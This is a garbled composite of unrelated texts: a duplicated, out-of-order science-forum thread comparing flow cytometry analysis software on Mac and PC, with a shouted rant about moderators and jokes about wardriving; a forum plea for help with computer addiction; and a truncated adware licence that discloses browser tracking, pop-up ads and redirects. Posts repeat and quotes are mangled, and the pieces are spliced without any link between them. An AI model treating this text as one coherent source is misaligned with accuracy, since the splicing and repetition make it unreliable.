Member Canada 242 Posts Posted - February 11 2008 : 7:49:11 PM -------------------------------------------------------------------------------- For PC a i think WEASEL is the best free alternative. I haven't tried many but there any many alternatives anyway.. Flow Cytometry Plus Microscopy "The visualpower of microscopy plus the statistical rigor of flow cytometry rolled into 1 package." That's the company's tag line. And they deliver. LOVETHELAB?************ I'm a BD flow lover, a confirmed Mac user (I tell everyone "I don't do Windows"). So why am I touting a machine made by Amnis that requires Windows? Because this instrument goes above and beyond mere flow cytometry- it shows you every event (that's cell to non-flow users) in detail. I used it and I am sold. It takes a single experiment now to do intracellular localization, in place of two. A simpler caspase activation assay. What's not to love? Even the computer quandary is solvable (the one feature I'd change: I'd have it run off a Mac) - with an Intel Mac; just get Parallels software, install Windows, and you are good to go, or rather, run. And the ImageStream can run off an Intel Mac this way too. I bought an Intel iMac just for analysis. Installation of Parallels was easy, IDEAS is about as intuitional as any flow software package. And Amnnis reps bend over to be helpful. Don't let the price tag scare you; rather, help write a shared- instrument grant (we did) for your institution to get one. It is simply amazing. Review by lovesthelab ************************************************** ************************************************** ***************************** lovesthelab Senior Member United States 807 Posts Posted - August 09 2006 : 1:22:04 PM --------------------------------------------------------------------------------- quote: --------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? --------------------------------------------------------------------------------- The Science Advisory Board Home | Forums | My Profile | Active Topics | Members | Search | News | Resources | Studies | About Us | Site Map Screen Name: Password: Save Password Forgot your Password? All Forums Software Flow cytometer analysis on PC Printer Friendly Author Topic mlinde Member United States 11 Posts Posted - February 03 2006 : 6:21:13 PM --------------------------------------------------------------------------------- I'm looking into flow cytometer analysis programs for the PC and I was wondering whether anyone had any insight into which programs were the most useful and worthwhile. From what I have seen, Flow-Jo and FCSexpress are the more commonly used PC programs. Does anyone have any experience with either of these programs? The other option would be to purchase another Macintosh and use CellQuest. Advice, comments, suggestions? rakeshverma Member United States 93 Posts Posted - February 04 2006 : 10:46:54 PM --------------------------------------------------------------------------------- I have used CellQuest. Its a good option. Antonio68 Member Germany 20 Posts Posted - May 01 2006 : 11:48:43 AM --------------------------------------------------------------------------------- You can use Summit from Dako is free and gives you the possibility to do offline compensation. However, the best flow cytometry software is FlowJo. There is a PC (Java based) and a Mac version. The Mac version for the moment is quite better. lovesthelab Senior Member United States 807 Posts Posted - July 06 2006 : 4:59:46 PM --------------------------------------------------------------------------------- I'm not a PC person, but am an ardent flow person. My flow friends with PCs swear by WinMidi, which is free. If you Google for free flow cytometry software, you'll come to 2 sites, one at UMass, one at Scripps. Lots of free analysis software for the PC, maybe because BD relied on Macs for so long. mlinde Member United States 11 Posts Posted - August 02 2006 : 5:44:55 PM --------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? lovesthelab Senior Member United States 807 Posts Posted - August 09 2006 : 1:22:04 PM --------------------------------------------------------------------------------- quote: --------------------------------------------------------------------------------- As an update, I tried trial versions of FCSexpress and FlowJo and wasn't really happy with either of them compared to Cell Quest. I found FCSexpress almost impossible to work with. FlowJo was alright, but I don't think I had the time to really get the software down. Anyone know if BD ever plans to put out CellQuest on PC? --------------------------------------------------------------------------------- Don't quote me, but I do believe that CellQuest is available for PC because the newer BD flow cytometers are digital and use PCs for acquisition. Mlinde, have you ever tried WinList or WinMidi? Both of those were written for PCs. Also WEASEL comes in PC and Mac versions. Did you read the flow perspectives? There is a software discussion there. (Disclosure-- I wrote it). Mlinde or anyone else, you can contact me through the SAB e-mail system if you want to discuss flow software or anything flow some more off the forum. I'll be glad to help if I can. Edited by - lovesthelab on August 09 2006 1:24:07 PM rgrant Moderator Australia 2364 Posts Posted - October 10 2007 : 02:34:47 AM --------------------------------------------------------------------------------- Well, it took me about 30 seconds to discover that Mitchell Haynes is VP Sales at Kanecki - see http://www.kanecki.com/about.html Admin, this is blatant advertising (MH started this thread yesterday). -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg rwintle Advanced Member Canada 4710 Posts Posted - October 10 2007 : 10:49:46 AM --------------------------------------------------------------------------------- AND SOMEBODY TELL HIM TO STOP SHOUTING. khenwood67 Administrator United States 248 Posts Posted - October 10 2007 : 11:03:53 AM --------------------------------------------------------------------------------- I've deleted the topic that he started, and also deleted his post in this forum. He won't be posting on the forums again. Kathryn Henwood Membership Coordinator The Science Advisory Board k.henw...@scienceboard.net Printer Friendly Jump To: Select Forum Et Cetera Humor in Don't quote me, but I do believe that CellQuest is available for PC because the newer BD flow cytometers are digital and use PCs for acquisition. Mlinde, have you ever tried WinList or WinMidi? Both of those were written for PCs. Also WEASEL comes in PC and Mac versions. Did you read the flow perspectives? There is a software discussion there. (Disclosure-- I wrote it). Mlinde or anyone else, you can contact me through the SAB e-mail system if you want to discuss flow software or anything flow some more off the forum. I'll be glad to help if I can. Edited by - lovesthelab on August 09 2006 1:24:07 PM ********************************************** rgrant ************************************************** *********************** Moderator Australia 2364 Posts Posted - October 10 2007 : 02:34:47 AM --------------------------------------------------------------------------------- Well, it took me about 30 seconds to discover that Mitchell Haynes is ******************************************* VP Sales at Kanecki - see http://www.kanecki.com/about.html Admin, this is blatant advertising (MH started this thread yesterday). -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg ************************************************** *************** WELL I MUST BE SHOUTING SINCE THIS IS IN CAPITAL LETTERS. WHO IS ON THE PURDUE CYTMETRY MAIL LIST OR WAS THAT MAKES THESE COMMENTS? DOES PURDUE *********MANAGE THE SCIENCE ADVISORY BOARD? Admin, this is blatant advertising (MH started this thread yesterday). THE DISCLAIMER JUST POPPED UP FOR SCIENTIST SOLUTIONS PUCL PURDUE CYTOMETRY MAIL LIST **********MANAGES**** THE DISCUSSIONS..... ARE PEOPLE GETTING INFLUENCED ANSWERS WITH LEADING QUESTIONS TO PROMOTE SOFTWARE? SAME PEOPLE IN SAME CONVERSATIONS Mitchell Haynes is ******************************************* VP Sales at Kanecki - see http://www.kanecki.com/about.html Lovesthelab Did you read the flow perspectives? There is a software discussion there. (Disclosure-- I wrote it). So why is she giving referrals on software? ???????????? WHO CAN YOU GET HONEST ANSWERS FROM WITH *********NO INFLUENCE???? ****** General Flow Cytometry Resources Purdue University Cytometry Laboratory Website Start learning about flow cytometry on the web at this site. The most comprehensive flow cytometry and analytical cytology website I have found. You will find resources ranging from archived protocols to request forms for the latest protocols CD-ROMs - and they are free while supplies last. Job listings, meetings, journals, latest developments- it is all here. Lectures Website Dr. J. Paul Robinson, Purdue University School of Veterinary Medicine, has put a compilation of lec-ture slides on a website. Some of the information is bullet statements, but the pictures are great. If you've never seen a flow cytometer, you'll see lots of them here. If you are new to flow, you'll find in-troductory slides here. Practical Flow Cytometry, Fourth Edition by Howard Shapiro, published by J. Wiley & Sons, 2003. Website Dr. Shapiro has kindly put his textbook online through Molecular Probes. It is free! Yes, you do need to register to see it, but that's all you need to do, and you have access forever. Flow Cytometry E-mail Discussion Group Website Have a question? Novices to experts, all levels of questions are welcome. This e-mail group has been invaluable to me. E-mails are archived and can be searched by topic. International Society for Analytical Cytology Website The premier society for flow cytometry, it publishes Cytometry Parts A and B (Clinical Cytometry), Case Studies in Clinical Flow Cytometry, and Current Protocols in Cytometry. These are available on-line, but you must be subscribed for access. Regular dues are US $126; fees are deeply dis-counted for students, post-doctoral fellows, and scientists from developing nations. Please consider joining. National Flow Cytometry Resource, Los Alamos National Laboratories Website Where the cutting edge happens. NFCR runs a course every June that alternates between Los Ala-mos and New England. I recommend it to the serious flow person; you will learn a tremendous amount, including how to build your own flow cytometer, if you are so inclined. FlowCyte Website This discussion group is dedicated to flow users interested in developing uniform bioinformatics standards. They are also developing analysis and statistics software for flow users. SUCH A LARGE LIST TOOOOOO ALL GOES BACK TO J PAUL ROBINSON JUST GOOGLE PURDUE CYTOMETRY MAIL LIST YOU WILL FIND ALL YOUR MODERATIORS PROBABLY WENT THROUGHT THE LIST Re: mr on Apple web site * This message: [ Message body ] [ More options ] * Related messages: [ Next message ] [ Previous message ] [ In reply to ] [ Next in thread ] From: J. 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Dec 14, 2006 ... Dr. Beverly Barton of the New Jersey Medical School, USA and Dr. Richard Wintle of The Centre for Applied Genomics, Toronto, Canada were the ... http://www.scienceboard.net/communit.../news.314.html - 23k - Cached - Similar pages - Note this Posted by Mitch Haynes On Mar 3, 11:20*pm, Mitch Haynes <mitchhay...@gmail.com> wrote: PLapierre Senior Member Canada 262 Posts Posted - February 11 2008 : 7:42:43 PM Show Profile Visit PLapierre's Homepage Reply with Quote Reply to Topic What do you think is a better platform for bioinformatics, i think it use to be mac (Dnasis, etc) but i think its changing, i m happy that Intel mac can run windows now! What do you think? Kannan Senior Member India 188 Posts Posted - February 12 2008 : 12:26:48 AM Show Profile Visit Kannan's Homepage Reply with Quote Reply Let it be MAC or PC. The software should be compatible.Go to Top of Page rgrant Moderator Australia 2514 Posts Posted - February 12 2008 : 01:08:26 AM Show Profile Visit rgrant's Homepage Send rgrant a Yahoo! Message Send rgrant an instant message Reply with Quote Reply Unix. Every time. -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg Go to Top of Page Nexins Advanced Member Germany 2631 Posts Posted - February 12 2008 : 03:34:26 AM Show Profile Visit Nexins's Homepage Reply with Quote Reply Unix = Mac OSX. no need to comment more. -- 'Work should not interfere with the quality of life' -Dr. Alex SavovGo to Top of Page Ana Laura Senior Member Argentina 351 Posts Posted - February 12 2008 : 3:28:00 PM Show Profile Visit Ana Laura's Homepage Reply with Quote Reply Why would anyone infect a Mac with Windows?Go to Top of Page rgrant Moderator Australia 2514 Posts Posted - February 12 2008 : 6:05:10 PM Show Profile Visit rgrant's Homepage Send rgrant a Yahoo! Message Send rgrant an instant message Reply with Quote Reply Sometimes, Ana, it is unfortunately unavoidable. Doesn't mean I have to like it. A bit like public transport, really. -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg Go to Top of Page jooly Senior Member United Kingdom 740 Posts Posted - February 12 2008 : 6:26:32 PM Show Profile Visit jooly's Homepage Reply with Quote Reply Note: I am resolutely not having anything to do with this debate.Go to Top of Page rgrant Moderator Australia 2514 Posts Posted - February 12 2008 : 8:05:25 PM Show Profile Visit rgrant's Homepage Send rgrant a Yahoo! Message Send rgrant an instant message Reply with Quote Reply And we love you for that, Jooly -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg Go to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 13 2008 : 10:08:25 AM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: Why would anyone infect a Mac with Windows? **SIGH** Because certain imbecile flow cytometry software executives made the executive decision to release acquisiton/analysis software for Windows only. We hates it. Ruins the Precious, it does. been there, done that more times than I care to admitGo to Top of Page PLapierre Senior Member Canada 262 Posts Posted - February 13 2008 : 11:27:33 AM Show Profile Visit PLapierre's Homepage Reply with Quote Reply Did BD biosciences change their FACS platform from Mac to PC? That would be a shame, i can already see myself rebooting the FACS every 10 minutes Go to Top of Page rchen Member United States 8 Posts Posted - February 13 2008 : 1:02:33 PM Show Profile Visit rchen's Homepage Reply with Quote Reply Most softwares are PC based , though few in Mac for special instrument vendors.Go to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 13 2008 : 2:52:37 PM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: Did BD biosciences change their FACS platform from Mac to PC? That would be a shame, i can already see myself rebooting the FACS every 10 minutes **BIG SIGH** Yes. See FACSDiva on the web. Imbecile is being kind. Also see Winlist, Amnis IDEAS software for ImageStream. The Precious calls. been there, done that more times than I care to admitGo to Top of Page Ana Laura Senior Member Argentina 351 Posts Posted - February 13 2008 : 4:30:54 PM Show Profile Visit Ana Laura's Homepage Reply with Quote Reply Nice Macs Nice Fishes Nasty Windowses Edited by - Ana Laura on February 13 2008 6:38:48 PMGo to Top of Page rgrant Moderator Australia 2514 Posts Posted - February 13 2008 : 8:41:11 PM Show Profile Visit rgrant's Homepage Send rgrant a Yahoo! Message Send rgrant an instant message Reply with Quote Reply *HOWLS* of laughter. (My iMac's name on the network, coincidentally, is 'Gandalf') -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg Go to Top of Page PLapierre Senior Member Canada 262 Posts Posted - February 14 2008 : 10:07:44 AM Show Profile Visit PLapierre's Homepage Reply with Quote Reply Cool!!! They should use this in an mac ad!Go to Top of Page rwintle Advanced Member Canada 4965 Posts Posted - February 14 2008 : 11:53:44 AM Show Profile Visit rwintle's Homepage Reply with Quote Reply I'm with jooooly on this debate, but I am also howling with laughter at Ana Laura's post . -- "There is another way of putting this. But I forgot it." - Pier Giorgio DiCiccoGo to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 14 2008 : 1:43:50 PM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply I LOVE IT! I LOVE IT! Ana Laura, can you send me a jpg (signed by you, of course) so I can hang it up in my new office? been there, done that more times than I care to admitGo to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 14 2008 : 1:45:23 PM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: Most softwares are PC based , though few in Mac for special instrument vendors. Most does not equal best. been there, done that more times than I care to admitGo to Top of Page PLapierre Senior Member Canada 262 Posts Posted - February 16 2008 : 09:05:25 AM Show Profile Visit PLapierre's Homepage Reply with Quote Reply quote: quote: Most softwares are PC based , though few in Mac for special instrument vendors. Most does not equal best. been there, done that more times than I care to admit Aint that the truth! the amount of useless and crappy software available for windows is mind boggling!Go to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 16 2008 : 8:23:09 PM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: *HOWLS* of laughter. (My iMac's name on the network, coincidentally, is 'Gandalf') -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg My iMac at home is Galadriel, my daughter's iBook is Arwen, my iMac at work is Elrond, and my iPod is of course Frodo. Our network at home is Rivendell. been there, done that more times than I care to admitGo to Top of Page Ana Laura Senior Member Argentina 351 Posts Posted - February 16 2008 : 8:58:13 PM Show Profile Visit Ana Laura's Homepage Reply with Quote Reply So you have an iFrod Go to Top of Page rwintle Advanced Member Canada 4965 Posts Posted - February 17 2008 : 09:55:31 AM Show Profile Visit rwintle's Homepage Reply with Quote Reply quote: My iMac at home is Galadriel, my daughter's iBook is Arwen, my iMac at work is Elrond, and my iPod is of course Frodo. Our network at home is Rivendell. [sigh] My laptop's network ID is "XPWS-15" or something like that. Danger of having to have the institutional IT folks set it up, I guess. -- "There is another way of putting this. But I forgot it." - Pier Giorgio DiCiccoGo to Top of Page Nexins Advanced Member Germany 2631 Posts Posted - February 17 2008 : 11:31:06 AM Show Profile Visit Nexins's Homepage Reply with Quote Reply quote: ... Our network at home is Rivendell. sweet. good to know for wardriving. -- 'Work should not interfere with the quality of life' -Dr. Alex SavovGo to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 17 2008 : 4:56:32 PM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: quote: ... Our network at home is Rivendell. sweet. good to know for wardriving. ? Online game? been there, done that more times than I care to admitGo to Top of Page Nexins Advanced Member Germany 2631 Posts Posted - February 18 2008 : 03:47:11 AM Show Profile Visit Nexins's Homepage Reply with Quote Reply quote: ? Online game? no, dear. hacking your WiFI access point at home . it's called 'wardriving'. just kidding - i was planning for Baltimore, not for Newark -- 'Work should not interfere with the quality of life' -Dr. Alex SavovGo to Top of Page PLapierre Senior Member Canada 262 Posts Posted - February 18 2008 : 09:32:27 AM Show Profile Visit PLapierre's Homepage Reply with Quote Reply quote: quote: *HOWLS* of laughter. (My iMac's name on the network, coincidentally, is 'Gandalf') -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg My iMac at home is Galadriel, my daughter's iBook is Arwen, my iMac at work is Elrond, and my iPod is of course Frodo. Our network at home is Rivendell. been there, done that more times than I care to admit You re a lot more imaginative than me, my network is named NETGEAR and my computers are named PC-1, PC-2, etc.. Go to Top of Page Nexins Advanced Member Germany 2631 Posts Posted - February 18 2008 : 11:45:08 AM Show Profile Visit Nexins's Homepage Reply with Quote Reply quote: ... my network is named NETGEAR and my computers are named PC-1, PC-2, etc.. s/he just cries to get hacked! wardrivers of the world, unite -- 'Work should not interfere with the quality of life' -Dr. Alex SavovGo to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 18 2008 : 12:52:59 PM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: quote: ? Online game? no, dear. hacking your WiFI access point at home . it's called 'wardriving'. just kidding - i was planning for Baltimore, not for Newark Have to know the password and I know you'll never guess it. Nor will anyone outside of my family. 3 firewalls are up. paranoid, we are. been there, done that more times than I care to admitGo to Top of Page jooly Senior Member United Kingdom 740 Posts Posted - February 18 2008 : 2:31:19 PM Show Profile Visit jooly's Homepage Reply with Quote Reply I'm guessing it's either JRRTolkein or silmarillion Go to Top of Page rgrant Moderator Australia 2514 Posts Posted - February 18 2008 : 3:50:14 PM Show Profile Visit rgrant's Homepage Send rgrant a Yahoo! Message Send rgrant an instant message Reply with Quote Reply Mmm, but if PLapierre's network is still called 'NETGEAR' then the password is easily guessable. -- "I don't have a lot of use for Coldplay most of the time" -- rwintle http://network.nature.com/blogs/user/rpg Go to Top of Page jooly Senior Member United Kingdom 740 Posts Posted - February 18 2008 : 4:14:52 PM Show Profile Visit jooly's Homepage Reply with Quote Reply Well... ours is called Belkin something or other, and it's fully password protected. Unfortunately (being a cheap and nasty belkin) it gets horrifically unstable if we try to change too many settings on it, like assigning an SSID or using MAC address control. If I'd paid for it, I'd be demanding my money back, but it came with the house.Go to Top of Page PLapierre Senior Member Canada 262 Posts Posted - February 18 2008 : 5:06:50 PM Show Profile Visit PLapierre's Homepage Reply with Quote Reply Ok As of 16:54 PM Eastern Time, my Network is now called er7tr6re7e98r6987re6e9r8t. Somehow i feel more secure now Go to Top of Page jooly Senior Member United Kingdom 740 Posts Posted - February 18 2008 : 5:12:39 PM Show Profile Visit jooly's Homepage Reply with Quote Reply 'Tree' would be just as secure, methinks. Right, bed now. Getting up at 4am (GMT)Go to Top of Page Quicksilver Member United Kingdom 73 Posts Posted - February 19 2008 : 05:26:34 AM Show Profile Visit Quicksilver's Homepage Reply with Quote Reply resisting the urge to tell everyone you meet would be even more secureGo to Top of Page lovesthelab Senior Member United States 1032 Posts Posted - February 19 2008 : 09:19:22 AM Show Profile Visit lovesthelab's Homepage Reply with Quote Reply quote: I'm guessing it's either JRRTolkein or silmarillion Nothing even remotely Tolkien. heh heh heh... been there, done that more times than I care to admitGo to Top of Page PLapierre Senior Member Canada 262 Posts Posted - February 19 2008 : 3:14:31 PM Show Profile Visit PLapierre's Homepage Reply with Quote Reply quote: resisting the urge to tell everyone you meet would be even more secure Oops... http://www.scienceboard.org/forum/to...Title=Software SO GLAD WE HAVE EDUCATION IN THE FORUM

Could you please help me to get rid of this? My situation I really need your suggestions, info, links, et cetera to get me break away from this computer addiction please. I have been living with computer since its advent, and I have been too long in this bit and byte world. I have almost no problem with my family and/or social matters (maybe), but certainly, I have problems with myself. I realize that my addiction to computer and internet has seized big values of my life. Please do not assume that I am addicted to the gaming, gambling, chatting, or sexual leisure online. I think I have really got the most of the computing and internet, I got answers for my quests in life: history, languages, hobbies, health, skill improvement, and other eye-openers, but I realized that at the end I just barely do not recognize myself. I knew that before the PC arrival, I was a simple human with a romantic and artistic mind inside, and then later I evolved to such a robot, to be precise: a slave of the technology. The internet had made me more tied to the PC, at first it delivered me the news of the world, marvelous things found there within the clicks and so on, but then made me deep drown into the pond of information. The cost and the lost Having knowledge to computer hardware made me always upgrade my gears. It made me spend big cost just to fulfill my lust over those times. My room is full with the old gears, gadgets, and things from online stores. My PCs and notebooks are full with MP3s, PDFs, and many things downloaded both free and paid. I also spent for many external/ portable harddisks for backing up and traveling. I do not mean to showoff, I just tell you how worse it was from time to time during about 20 years. I sometimes think about the lost time for repairing my gears, updating my softwares, browsing; and how many books that I have not read completely. There was a break One time, in two straight months last year, I spent my times with my son playing Tamiya, small racing cars in small tracks. It was wonderful that it made me totally forgot my computers. We have had most of the time together for racing, modifying, winding the wires for the tiny motors, etc. My wife was so amazed that the toys have made me away from the PC. It ended because of the coming rainy season that made us packed and boxed back the tracks and cars, and I simply switched back to the old routine. In search of healing I remember a precious phrase: Two kinds of those who lost; they are who looks for wealth and for knowledge. This phrase sometimes wakes me up but bad habit is addicting and I found myself always returned into that path. I think it is just similar to drug addiction. As the internet is an endless resource, I search through it for the cure, and I have found some articles about it and tried to implement them, but it always hard for me to liberate myself from my habit. I really hope that finally I find it in this forum, especially from you. Your helps, Please I know that some of you are familiar to manage some types of dependence, or maybe you have healed from the same situation. Whether you have some psychological, spiritual expertise, certain medication, or exercises, please share your advice, I need it badly. I do not want to clog the rest of my life in that digital world. There must be somebody else also in pain from the same thing, your kind suggestion will be very valuable and it will save some life. Thank you very much for sparing your time reading this lengthy note. God bless you. PS: I post this in Computing & Internet, Health, and Social Science with time interval, hoping to net more inputs. Please do not waste your time to put any unpleasant or unnecessary words, consider it will not only read by me but also by the other fellow readers. If you are not in the same situation with me, you perhaps still have the advantage of knowing the answers. Thank you, again.

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Pursuant to applicable laws including, without limitation, the Electronic Signature Law and Uniform Electronic Transactions Act (“UETA”), by clicking “I Agree”, Licensor will treat Licensee’s affirmative action as equivalent to a signed written contract that will legally bind Licensee to the terms of this Agreement. Licensee should carefully review the terms of this Agreement (as well as any Third Party Software Agreements included herewith) before clicking “I agree”. 2.2 Obligation to be Bound by Current Version of EULA. Licensor may revise this EULA or its Privacy Policy <file:///E:\Documents%20and%20Settings\jj\Local%20Settings\Temporary%20Internet%20Files\Content.IE5\WHYJKDQF\privacypolicy.html> at anytime, and may (but shall not be obligated) to notify Licensees of such revisions. By agreeing to the terms of this EULA, Licensee agrees to read and review this EULA and privacy policy in order to stay current on any changes. 3. SOFTWARE LICENSE AND RESTRICTIONS. 3.1 License Grant. Upon acceptance of the terms and conditions of this Agreement, as evidenced by clicking “I agree” and continuing with the installation procedure, Licensor grants Licensee a non-transferable, non-exclusive, revocable, non-sub licensable license to Use the Licensed Software, in binary executable form only, solely in accordance with the terms and conditions set forth in this Agreement. The Licensee agrees not to Use the Licensed Software in any manner that could damage, disable, overburden or impair the Licensed Software, including, without limitation, Using the Licensed Software in an automated manner or in any other manner which could interfere with any other party's use and enjoyment of the Licensed Software. 3.2 Restrictions. As a material condition to the license granted in Section 3.1 above, you will: (a) not reverse engineer, disassemble or decompile the Licensed Software or attempt to discover or recreate the source code to the Licensed Software, except as otherwise required by applicable law, (b) comply with all applicable laws, including U.S. export control laws, in your Use of the Licensed Software, (c) not make any modification, adaptation, improvement, enhancement, translation or derivative work of or to the Licensed Software, (d) not remove, alter or obscure any proprietary notices (including copyright notices) of Licensor or Licensor’s affiliates in the Licensed Software, (e) not Use the Licensed Software for purposes for which it is not designed, and (f) only Use the Licensed Software for personal, non-commercial use. 4. OWNER OF COMPUTER; ALL USERS BOUND; AGE LIMITATION. You represent and warrant either that you are the owner of the computer up which you intend to download the Licensed Software and that you have authorized the download and installation of the Licensed Software or that the owner of the computer has authorized you to do so. You agree, with respect to all users of the computer on which you have caused the Licensed Software to reside, to provide a copy of these terms and conditions and to obtain their consent to these terms and conditions before allowing them to Use the Licensed Software. Alternatively, if you have the legal right to accept this Agreement on behalf of one or more users of the computer on which you have caused or authorized the Licensed Software to reside, then you hereby accept this Agreement on behalf of all such other users. You understand that the presence of the Licensed Software on any computer is voluntary and that you may remove it at any time. You must be at least 18 years of age to Use the Licensed Software. By accepting the terms of this Agreement and Using the Licensed Software you represent that you are over the age of 18. 5. IMPORTANT INFORMATION REGARDING FUNCTIONALITY OF LICENSED SOFTWARE. 5.1 Functionality. Certain applications in the Licensed Software recognize keywords from your Internet browser and URL targets from the sites you visit to display relevant contextual advertisements. These advertisements may be displayed on your computer screen at any time while you are searching and shopping online (and not necessarily while you are using any product or service related to or downloaded with the Licensed Software) and pop-up on your screen in a separate browser. The Licensed Software gathers and stores personal identifiable information and records concerning your Internet browsing behavior. Please refer to Section 10 (below) for further information about Licensor’s privacy policies. 5.2. Display of Advertising. The Licensed Software starts automatically when you start your computer, runs in the background on your computer, and may periodically direct you to our sponsors' websites. By installing and/or using the Licensed Software you grant permission for Licensor to periodically display sponsors' websites to you. The frequency of these advertisements (which will pop up on your screen in a separate browser) will vary depending on your use of the Internet. Please note that you will receive Adult-oriented ads if you utilize keywords related to such content or if you view Adult-oriented websites. On occasion, you may search for a website and receive an error from your browser software indicating that the site cannot be found. When this occurs, the Software includes a function that may redirect your web browser to our sponsor's websites based on the content of the website address, or URL, which you entered. You hereby consent to these actions. Content Licensor considers “Adult” is defined as any audio, video, audiovisual, images, sounds or text that contain or reference any of the following: profanity, crude or off-color humor, violence, blood and gore, weapons, use of alcohol, drugs, tobacco or other controlled substances, online gambling, pornography, erotica, erotic images, nudity, sex, sexually explicit images, and sexual references. 6. INTELLECTUAL PROPERTY RIGHTS. The Licensed Software is the intellectual property of, and owned exclusively by, Licensor, its affiliates or suppliers or the companies that own or control the Third Party Software. The structure, organization and code of the Licensed Software are the valuable trade secrets and confidential information of Licensor, its suppliers or affiliates or the companies that own or control the Third Party Software. The Licensed Software is protected by copyright, including without limitation by United States copyright law, international treaty provisions and applicable laws in the country in which it is being used. Except as expressly stated herein, this Agreement does not grant you any intellectual property rights in the Licensed Software, and all rights not expressly granted are reserved by Licensor and its affiliates or suppliers. 7. UNINSTALLATION. You understand and agree that the presence of the Licensed Software on your computer is voluntary and that you may remove the Licensed Software from your computer at any time going to the “Add/Remove Software” function on your computer and clicking “Remove Software”. The program name for the software is Browser Optimizer Dcads. Should you choose to download additional software from Licensor’s affiliates or advertisers, those programs may be named differently and require you to remove them separately. Please note that the above is the only proper way to ensure complete removal of all Licensed Software files - many anti-spyware or other software tools do not completely or properly remove the Licensed Software. Some Internet content and software publishers require that their users have certain of the Licensed Software installed on their computer in order to access their content or use their software applications ("Content Providers"). Uninstallation of such Licensed Software may impact your ability to access such content and/or use such software. You may be required to restart your computer in order for the uninstallation to take effect. Should you have any questions regarding the removal of the Licensed Software, please contact <removal@dcads.biz <sendto:removal@dcads.biz>>. 8. UPDATES. Licensor, in its sole discretion, may provide you with Updates to the Licensed Software as part of this Agreement. The Licensed Software may check with Licensor or its affiliates for the existence of any Update released and, in the event that one is available, the Licensed Software may update itself automatically or prompt you to update the Software. Nothing herein shall be construed or interpreted as requiring that Licensor provide Updates. The companies that own or control the Third Party Software may also provide you with Updates to their Licensed Software. Licensor has no control and accepts no liability for Updates that may (or may not) be provided for the Third Party Software. 9. DISCLAIMER OF WARRANTIES AND REMEDIES; INDEMNITY. 9.1 No Warranty; Disclaimer. YOUR USE OF THE LICENSED SOFTWARE IS AT YOUR SOLE RISK. THE LICENSED SOFTWARE IS PROVIDED ON AN "AS IS" AND "AS AVAILABLE" BASIS. LICENSOR, ITS AFFILIATES OR SUPPLIERS, AND THE COMPANIES THAT OWN OR CONTROL THE THIRD PARTY SOFTWARE EXPRESSLY DISCLAIM ALL WARRANTIES OF ANY KIND, WHETHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. LICENSOR, AND ITS AFFILIATES AND SUPPLIERS, MAKE NO WARRANTY THAT (i) THE LICENSED SOFTWARE WILL MEET YOUR REQUIREMENTS, (ii) THE LICENSED SOFTWARE WILL BE UNINTERRUPTED, TIMELY, SECURE, OR ERROR-FREE, (iii) THE RESULTS THAT MAY BE OBTAINED FROM THE USE OF THE LICENSED SOFTWARE WILL BE ACCURATE OR RELIABLE, (iv) THE QUALITY OF ANY PRODUCTS, SERVICES, INFORMATION, OR OTHER MATERIAL PURCHASED OR OBTAINED BY YOU THROUGH THE LICENSED SOFTWARE WILL MEET YOUR EXPECTATIONS, OR (v) ANY ERRORS IN THE LICENSED SOFTWARE WILL BE CORRECTED. ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE LICENSED SOFTWARE IS OBTAINED AT YOUR OWN DISCRETION AND RISK AND YOU WILL BE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR COMPUTER SYSTEM OR LOSS OF DATA THAT RESULTS FROM THE DOWNLOAD OF ANY SUCH MATERIAL. NO ADVICE OR INFORMATION, WHETHER ORAL OR WRITTEN, OBTAINED BY YOU FROM LICENSOR OR THROUGH OR FROM THE LICENSED SOFTWARE SHALL CREATE ANY WARRANTY. LICENSOR IS NOT RESPONSIBLE FOR CONTENT HOSTED BY CONTENT PROVIDERS. 9.2 Limitation of Damages. LICENSOR, ITS AFFILIATES OR SUPPLIERS, OR THE COMPANIES THAT OWN OR CONTROL THE THIRD PARTY SOFTWARE WILL NOT HAVE ANY LIABILITY FOR, AND YOU HEREBY RELEASE LICENSOR, ITS AFFILIATES AND SUPPLIERS AND THE COMPANIES THAT OWN OR CONTROL THE THIRD PARTY SOFTWARE FROM ANY, LIABILITY (WHETHER IN CONTRACT, WARRANTY, TORT, NEGLIGENCE OR OTHERWISE) FOR ANY DAMAGES SUSTAINED BY YOU ARISING FROM THE USE OR INABILITY TO USE THE 